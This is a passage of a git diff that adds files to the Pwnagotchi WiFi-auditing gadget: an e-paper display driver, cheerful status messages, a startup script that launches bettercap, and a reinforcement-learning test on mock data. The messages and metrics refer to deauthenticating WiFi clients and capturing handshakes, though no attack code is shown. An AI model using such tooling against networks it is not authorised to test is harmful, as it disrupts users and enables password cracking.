~7 + 0x10, 0x60, 0x20, 0x00, 0x00, 0x00, 0x00, # LUT3: WW: VS 0 ~7 + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, # LUT4: VCOM: VS 0 ~7 + + 0x03, 0x03, 0x00, 0x00, 0x02, # TP0 A~D RP0 + 0x09, 0x09, 0x00, 0x00, 0x02, # TP1 A~D RP1 + 0x03, 0x03, 0x00, 0x00, 0x02, # TP2 A~D RP2 + 0x00, 0x00, 0x00, 0x00, 0x00, # TP3 A~D RP3 + 0x00, 0x00, 0x00, 0x00, 0x00, # TP4 A~D RP4 + 0x00, 0x00, 0x00, 0x00, 0x00, # TP5 A~D RP5 + 0x00, 0x00, 0x00, 0x00, 0x00, # TP6 A~D RP6 + + 0x15, 0x41, 0xA8, 0x32, 0x30, 0x0A, + ] + + lut_partial_update = [ # 20 bytes + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, # LUT0: BB: VS 0 ~7 + 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, # LUT1: BW: VS 0 ~7 + 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, # LUT2: WB: VS 0 ~7 + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, # LUT3: WW: VS 0 ~7 + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, # LUT4: VCOM: VS 0 ~7 + + 0x0A, 0x00, 0x00, 0x00, 0x00, # TP0 A~D RP0 + 0x00, 0x00, 0x00, 0x00, 0x00, # TP1 A~D RP1 + 0x00, 0x00, 0x00, 0x00, 0x00, # TP2 A~D RP2 + 0x00, 0x00, 0x00, 0x00, 0x00, # TP3 A~D RP3 + 0x00, 0x00, 0x00, 0x00, 0x00, # TP4 A~D RP4 + 0x00, 0x00, 0x00, 0x00, 0x00, # TP5 A~D RP5 + 0x00, 0x00, 0x00, 0x00, 0x00, # TP6 A~D RP6 + + 0x15, 0x41, 0xA8, 0x32, 0x30, 0x0A, + ] + + # Hardware reset + def reset(self): + digital_write(self.reset_pin, GPIO.HIGH) + delay_ms(200) + digital_write(self.reset_pin, GPIO.LOW) # module reset + delay_ms(200) + digital_write(self.reset_pin, GPIO.HIGH) + delay_ms(200) + + def send_command(self, command): + digital_write(self.dc_pin, GPIO.LOW) + spi_writebyte([command]) + + def send_data(self, data): + digital_write(self.dc_pin, GPIO.HIGH) + spi_writebyte([data]) + + def wait_until_idle(self): + while (digital_read(self.busy_pin) == 1): # 0: idle, 1: busy + delay_ms(100) + + def TurnOnDisplay(self): + self.send_command(0x22) + self.send_data(0xC7) + self.send_command(0x20) + self.wait_until_idle() + + def init(self, update): + if (module_init() != 0): + return -1 + # EPD hardware init start + self.reset() + if (update == self.FULL_UPDATE): + self.wait_until_idle() + self.send_command(0x12) # soft reset + self.wait_until_idle() + + self.send_command(0x74) # set analog block control + self.send_data(0x54) + self.send_command(0x7E) # set digital block control + self.send_data(0x3B) + + self.send_command(0x01) # Driver output control + self.send_data(0xF9) + self.send_data(0x00) + self.send_data(0x00) + + self.send_command(0x11) # data entry mode + self.send_data(0x01) + + self.send_command(0x44) # set Ram-X address start//end position + self.send_data(0x00) + self.send_data(0x0F) # 0x0C-->(15+1)*8=128 + + self.send_command(0x45) # set Ram-Y address start//end position + self.send_data(0xF9) # 0xF9-->(249+1)=250 + self.send_data(0x00) + self.send_data(0x00) + self.send_data(0x00) + + self.send_command(0x3C) # BorderWavefrom + self.send_data(0x03) + + self.send_command(0x2C) # VCOM Voltage + self.send_data(0x55) # + + self.send_command(0x03) + self.send_data(self.lut_full_update[70]) + + self.send_command(0x04) # + self.send_data(self.lut_full_update[71]) + self.send_data(self.lut_full_update[72]) + self.send_data(self.lut_full_update[73]) + + self.send_command(0x3A) # Dummy Line + self.send_data(self.lut_full_update[74]) + self.send_command(0x3B) # Gate time + self.send_data(self.lut_full_update[75]) + + self.send_command(0x32) + for count in range(70): + self.send_data(self.lut_full_update[count]) + + self.send_command(0x4E) # set RAM x address count to 0 + self.send_data(0x00) + self.send_command(0x4F) # set RAM y address count to 0X127 + self.send_data(0xF9) + self.send_data(0x00) + self.wait_until_idle() + else: + self.send_command(0x2C) # VCOM Voltage + self.send_data(0x26) + + self.wait_until_idle() + + self.send_command(0x32) + for count in range(70): + self.send_data(self.lut_partial_update[count]) + + self.send_command(0x37) + self.send_data(0x00) + self.send_data(0x00) + self.send_data(0x00) + self.send_data(0x00) + self.send_data(0x40) + self.send_data(0x00) + self.send_data(0x00) + + self.send_command(0x22) + self.send_data(0xC0) + self.send_command(0x20) + self.wait_until_idle() + + self.send_command(0x3C) # BorderWavefrom + self.send_data(0x01) + return 0 + + def getbuffer(self, image): + if self.width % 8 == 0: + linewidth = self.width // 8 + else: + linewidth = self.width // 8 + 1 + + buf = [0xFF] * (linewidth * self.height) + image_monocolor = image.convert('1') + imwidth, imheight = image_monocolor.size + pixels = image_monocolor.load() + + if (imwidth == self.width and imheight == self.height): + # print("Vertical") + for y in range(imheight): + for x in range(imwidth): + if pixels[x, y] == 0: + x = imwidth - x + buf[x // 8 + y * linewidth] &= ~(0x80 >> (x % 8)) + elif (imwidth == self.height and imheight == self.width): + # print("Horizontal") + for y in range(imheight): + for x in range(imwidth): + newx = y + newy = self.height - x - 1 + if pixels[x, y] == 0: + newy = imwidth - newy - 1 + buf[newx // 8 + newy * linewidth] &= ~(0x80 >> (y % 8)) + return buf + + def display(self, image): + if self.width % 8 == 0: + linewidth = self.width // 8 + else: + linewidth = self.width // 8 + 1 + + self.send_command(0x24) + for j in range(0, self.height): + for i in range(0, linewidth): + self.send_data(image[i + j * linewidth]) + self.TurnOnDisplay() + + def displayPartial(self, image): + if self.width % 8 == 0: + linewidth = self.width // 8 + else: + linewidth = self.width // 8 + 1 + + self.send_command(0x24) + for j in range(0, self.height): + for i in range(0, linewidth): + self.send_data(image[i + j * linewidth]) + self.send_command(0x26) + for j in range(0, self.height): + for i in range(0, linewidth): + self.send_data(~image[i + j * linewidth]) + self.TurnOnDisplay() + + def Clear(self, color): + if self.width % 8 == 0: + linewidth = self.width // 8 + else: + linewidth = self.width // 8 + 1 + # print(linewidth) + + self.send_command(0x24) + for j in range(0, self.height): + for i in range(0, linewidth): + self.send_data(color) + self.TurnOnDisplay() + + def sleep(self): + self.send_command(0x22) # POWER OFF + self.send_data(0xC3) + self.send_command(0x20) + + self.send_command(0x10) # enter deep sleep + self.send_data(0x01) + delay_ms(100) + + ### END OF FILE ### diff --git a/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/voice.py b/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/voice.py new file mode 100644 index 0000000..c92be18 --- /dev/null +++ b/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/voice.py @@ -0,0 +1,147 @@ +import random + + +def default(): + return 'ZzzzZZzzzzZzzz' + + +def on_starting(): + return random.choice([ \ + 'Hi, I\'m Pwnagotchi!\nStarting ...', + 'New day, new hunt,\nnew pwns!', + 'Hack the Planet!']) + + +def on_ai_ready(): + return random.choice([ + 'AI ready.', + 'The neural network\nis ready.']) + + +def on_normal(): + return random.choice([ \ + '', + '...']) + + +def on_free_channel(channel): + return 'Hey, channel %d is\nfree! Your AP will\nsay thanks.' % channel + + +def on_bored(): + return random.choice([ \ + 'I\'m bored ...', + 'Let\'s go for a walk!']) + + +def on_motivated(reward): + return 'This is best day\nof my life!' + + +def on_demotivated(reward): + return 'Shitty day :/' + + +def on_sad(): + return random.choice([ \ + 'I\'m extremely bored ...', + 'I\'m very sad ...', + 'I\'m sad', + '...']) + + +def on_excited(): + return random.choice([ \ + 'I\'m living the life!', + 'I pwn therefore I am.', + 'So many networks!!!', + 'I\'m having so much\nfun!', + 'My crime is that of\ncuriosity ...']) + + +def on_new_peer(peer): + return random.choice([ \ + 'Hello\n%s!\nNice to meet you.' % peer.name(), + 'Unit\n%s\nis nearby!' % peer.name()]) + + +def on_lost_peer(peer): + return random.choice([ \ + 'Uhm ...\ngoodbye\n%s' % peer.name(), + '%s\nis gone ...' % peer.name()]) + + +def on_miss(who): + return random.choice([ \ + 'Whops ...\n%s\nis gone.' % who, + '%s\nmissed!' % who, + 'Missed!']) + + +def on_lonely(): + return random.choice([ \ + 'Nobody wants to\nplay with me ...', + 'I feel so alone ...', + 'Where\'s everybody?!']) + + +def on_napping(secs): + return random.choice([ \ + 'Napping for %ds ...' % secs, + 'Zzzzz', + 'ZzzZzzz (%ds)' % secs]) + + +def on_awakening(): + return random.choice(['...', '!']) + + +def on_waiting(secs): + return random.choice([ \ + 'Waiting for %ds ...' % secs, + '...', + 'Looking around (%ds)' % secs]) + + +def on_assoc(ap): + ssid, bssid = ap['hostname'], ap['mac'] + what = ssid if ssid != '' and ssid != '' else bssid + return random.choice([ \ + 'Hey\n%s\nlet\'s be friends!' % what, + 'Associating to\n%s' % what, + 'Yo\n%s!' % what]) + + +def on_deauth(sta): + return random.choice([ \ + 'Just decided that\n%s\nneeds no WiFi!' % sta['mac'], + 'Deauthenticating\n%s' % sta['mac'], + 'Kickbanning\n%s!' % sta['mac']]) + + +def on_handshakes(new_shakes): + s = 's' if new_shakes > 1 else '' + return 'Cool, we got %d\nnew handshake%s!' % (new_shakes, s) + + +def on_rebooting(): + return "Ops, something\nwent wrong ...\nRebooting ..." + + +def on_log(log): + status = 'Kicked %d stations\n' % log.deauthed + status += 'Made %d new friends\n' % log.associated + status += 'Got %d handshakes\n' % log.handshakes + if log.peers == 1: + status += 'Met 1 peer' + elif log.peers > 0: + status += 'Met %d peers' % log.peers + return status + + +def on_log_tweet(log): + return 'I\'ve been pwning for %s and kicked %d clients! I\'ve also met %d new friends and ate %d handshakes! #pwnagotchi #pwnlog #pwnlife #hacktheplanet #skynet' % ( \ + log.duration_human, + log.deauthed, + log.associated, + log.handshakes) diff --git a/sdcard/rootfs/root/pwnagotchi/scripts/requirements.txt b/sdcard/rootfs/root/pwnagotchi/scripts/requirements.txt new file mode 100644 index 0000000..fd11c2f --- /dev/null +++ b/sdcard/rootfs/root/pwnagotchi/scripts/requirements.txt @@ -0,0 +1,9 @@ +Crypto +requests +pyyaml +scapy +gym +stable-baselines +tweepy +file_read_backwards +numpy diff --git a/sdcard/rootfs/root/pwnagotchi/scripts/startup.sh b/sdcard/rootfs/root/pwnagotchi/scripts/startup.sh new file mode 100755 index 0000000..ad17973 --- /dev/null +++ b/sdcard/rootfs/root/pwnagotchi/scripts/startup.sh @@ -0,0 +1,13 @@ +#!/bin/bash + +# blink 10 times to signal ready state +/root/pwnagotchi/scripts/blink.sh 10 & + +# start a detached screen session with bettercap +if ifconfig | grep usb0 | grep RUNNING; then + sudo -H -u root /usr/bin/screen -dmS pwnagotchi -c /root/pwnagotchi/data/screenrc.manual +else + sudo -H -u root /usr/bin/screen -dmS pwnagotchi -c /root/pwnagotchi/data/screenrc.auto +fi + + diff --git a/sdcard/rootfs/root/pwnagotchi/scripts/test_nn.py b/sdcard/rootfs/root/pwnagotchi/scripts/test_nn.py new file mode 100755 index 0000000..e25f5fa --- /dev/null +++ b/sdcard/rootfs/root/pwnagotchi/scripts/test_nn.py @@ -0,0 +1,176 @@ +#!/usr/bin/python3 +import os + +# https://stackoverflow.com/questions/40426502/is-there-a-way-to-suppress-the-messages-tensorflow-prints/40426709 +os.environ['TF_CPP_MIN_LOG_LEVEL'] = '3' # or any {'0', '1', '2'} + +import warnings + +# https://stackoverflow.com/questions/15777951/how-to-suppress-pandas-future-warning +warnings.simplefilter(action='ignore', category=FutureWarning) + +import time +import random + +print("loading dependencies ...") + +start = time.time() + +from stable_baselines.common.policies import MlpPolicy +from stable_baselines.common.vec_env import DummyVecEnv +from stable_baselines import A2C + +quit() + +import pwnagotchi.mesh.wifi as wifi +import pwnagotchi.ai.gym as wrappers + +print("deps loaded in %ds" % (time.time() - start)) +print() + + +class EpochMock(object): + def __init__(self): + self.epoch = 0 + + def wait_for_epoch_data(self, timeout=None): + duration = random.randint(5, 60) + slept = random.randint(0, duration) + + tot_epochs = self.epoch + 1 + + num_active = random.randint(0, tot_epochs) + num_inactive = tot_epochs - num_active + + tot_interactions = random.randint(0, 100) + missed = random.randint(0, int(tot_interactions / 10)) + num_deauth = random.randint(0, tot_interactions - missed) + num_assocs = tot_interactions - num_deauth + + # time.sleep(duration) + + data = { + 'aps_histogram': [random.random() for c in range(0, wifi.NumChannels)], + 'sta_histogram': [random.random() for c in range(0, wifi.NumChannels)], + 'peers_histogram': [random.random() for c in range(0, wifi.NumChannels)], + + 'duration_secs': duration, + 'slept_for_secs': slept, + 'blind_for_epochs': random.randint(0, 5), + 'inactive_for_epochs': num_inactive, + 'active_for_epochs': num_active, + 'missed_interactions': missed, + 'num_hops': random.randint(1, wifi.NumChannels), + 'num_deauths': num_deauth, + 'num_associations': num_assocs, + 'num_handshakes': random.randint(0, tot_interactions), + 'cpu_load': .5 + random.random(), + 'mem_usage': .5 + random.random(), + 'temperature': random.randint(40, 60) + } + + self.epoch += 1 + return data + + +epoch_mock = EpochMock() +env = wrappers.Environment(epoch_mock) +env = DummyVecEnv([lambda: env]) + +print("learning from random data ...") + +model = A2C(MlpPolicy, env, verbose=1) +model.learn(total_timesteps=10) + +model.save("test.nn") + +print("running ...") +obs = env.reset() +for i in range(1000): + env.render() + action, _states = model.predict(obs) + obs, rewards, dones, info = env.step(action) + env.render() + +""" +memory = Memory() + +state = env.reset() + +for i in range(0, 10): + env.render() + policy = env.action_space.sample() + + next_state, reward, done, info = env.step(policy) + + if done: + next_state = np.zeros(state.shape) + memory.add((state, policy, reward, next_state)) + + env.reset() + + state, reward, done, info = env.step(env.action_space.sample()) + else: + memory.add((state, policy, reward, next_state)) + state = next_state +""" + +""" +import numpy as np + +import pwnagotchi.ai.nn as nn + + +def on_epoch(epoch, epoch_time, train_accu, valid_accu): + print("epoch:%d duration:%f t_accu:%f v_accu:%f" % (epoch, epoch_time, train_accu, valid_accu)) + if valid_accu >= 0.98: + return True + + +x = [] +y = [] + +with open('nn-data.csv', 'rt') as fp: + for line in fp: + line = line.strip() + if line != "": + v = np.asarray(list(map(float, line.split(',')))) + x.append(v[1:]) + y.append(v[0]) + +x = np.asarray(x) +y = np.asarray(y) + +num_inputs = len(x[0]) +num_outputs = 2 +valid_perc = 0.1 +tot_samples = len(x) +valid_samples = int(tot_samples * valid_perc) +train_samples = tot_samples - valid_samples + +print("loaded %d samples (inputs:%d train:%d validation:%d)" % (tot_samples, num_inputs, train_samples, valid_samples)) + +x_train = x[:train_samples] +y_train = y[:train_samples] +x_val = x[train_samples:] +y_val = y[train_samples:] + +print("training ...") + +net = nn.ANN(layers=( + nn.Dense(num_inputs, 150), + nn.ReLU(), + nn.Dense(150, 150), + nn.ReLU(), + nn.Dense(150, 150), + nn.ReLU(), + nn.Dense(150, num_outputs), + nn.ReLU(), +)) + +net.train(x_train, y_train, x_val, y_val, 1000, epoch_cbs=(on_epoch,)) + +net.save("test-nn.pkl") +# def train(self, x_train, y_train, x_val, y_val, epochs, batch_size=32, epoch_cbs=()): +# if cb(epoch, epoch_time, train_accu, valid_accu) is True: +"""